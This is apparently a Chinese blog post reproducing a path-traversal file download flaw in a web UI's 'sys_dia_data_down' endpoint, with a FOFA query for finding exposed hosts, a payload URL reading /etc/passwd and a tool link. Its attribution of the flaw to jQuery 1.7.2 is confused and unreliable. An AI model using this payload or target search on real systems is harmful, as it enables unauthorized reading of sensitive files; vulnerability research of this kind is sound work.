jQuery-1.7.2 版本任意文件下载漏洞复现

简介: jQuery-1.7.2 版本存在任意文件读取漏洞,攻击者可通过特定URL地址访问并获取敏感信息。

声明


本篇文章仅作为漏洞复现技术研究,切勿将攻击手法用于非授权下的渗透攻击行为,出现任何后果与本文作者无关,切记!!!


一、jQuery简介


jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后一个优秀的JavaScript代码库(框架) 于2006年1月由John Resig发布。

jQuery设计的宗旨是 "write Less,Do More" ,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、时间处理、动画设计和Ajax交互。


二、漏洞描述


jQuery是一个快速、简洁的JavaScript框架,丰富的Javascript代码库,在其 1.7.2 版本的sys_dia_data_down模块存在任意文件读取漏洞,攻击者可通过前台读取任意文件。


三、漏洞复现


FOFA: body="webui/js/jquerylib/jquery-1.7.2.min.js"


Payload:http://127.0.0.1/webui/?g=sys_dia_data_down&file_name=../../../../../etc/passwd

访问链接下载敏感文件

image.png

image.png

验证工具下载:https://download.csdn.net/download/weixin_46944519/87734540


四、整改建议


厂商尚未提供漏洞修补方案,请关注厂商主页及时更新:https://jquery.com/

目录
相关文章
|
7月前
|
存储 前端开发 Windows
对于莫名其妙使用smarttomcat上传前端项目失败,上传css等静态资源失败等原因,及解决方法
对于莫名其妙使用smarttomcat上传前端项目失败,上传css等静态资源失败等原因,及解决方法
|
Web App开发 JavaScript 安全
window.open(url)多次打开下载链接被浏览器拦截问题解决方案,js实现循环访问多个下载链接
window.open(url)多次打开下载链接被浏览器拦截问题解决方案,js实现循环访问多个下载链接
817 0
window.open(url)多次打开下载链接被浏览器拦截问题解决方案,js实现循环访问多个下载链接
|
JavaScript 前端开发
html 雷达图 ,拿来直接用,无需下载js包【以把js包改为远程访问】
html 雷达图 ,拿来直接用,无需下载js包【以把js包改为远程访问】
183 0
html 雷达图 ,拿来直接用,无需下载js包【以把js包改为远程访问】
|
JavaScript 安全 前端开发
JS禁止查看网页源代码的简单实现方法
JS禁止查看网页源代码的简单实现方法
787 0
|
开发框架 安全 .NET
KindEditor 文件上传漏洞验证
KindEditor 文件上传漏洞验证
1133 0
KindEditor 文件上传漏洞验证
|
Web App开发 前端开发 JavaScript
好程序员web前端培训分享JS检查浏览器类型和版本
好程序员web前端培训分享JS检查浏览器类型和版本,先取得Navigator对象的userAgent属性的小写信息,之后根据正则表达式判断赋值。 var Sys = {};var ua = navigator.
1571 0
|
前端开发 Windows 安全
Github网站加载不全,css读取失败
最近在公司里访问Github网站的时候,可能会遇到网站响应超时,图片加载不出,排版错误等情况(大部分情况下是可以正常打开的)。我就遇到了这样的问题,所以在此和大家分享,希望可以帮到有同样困扰的人。 问题如下: 解决办法: 为了提高速度,可以使用HOSTS加速对Github网站加载的资源网站域名解析。
1838 0

热门文章

最新文章